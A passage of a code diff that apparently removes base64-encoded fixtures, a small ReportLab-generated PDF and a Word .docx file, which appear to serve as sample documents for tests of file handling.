"JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg==" - ) - - docx_data = base64.b64decode( - "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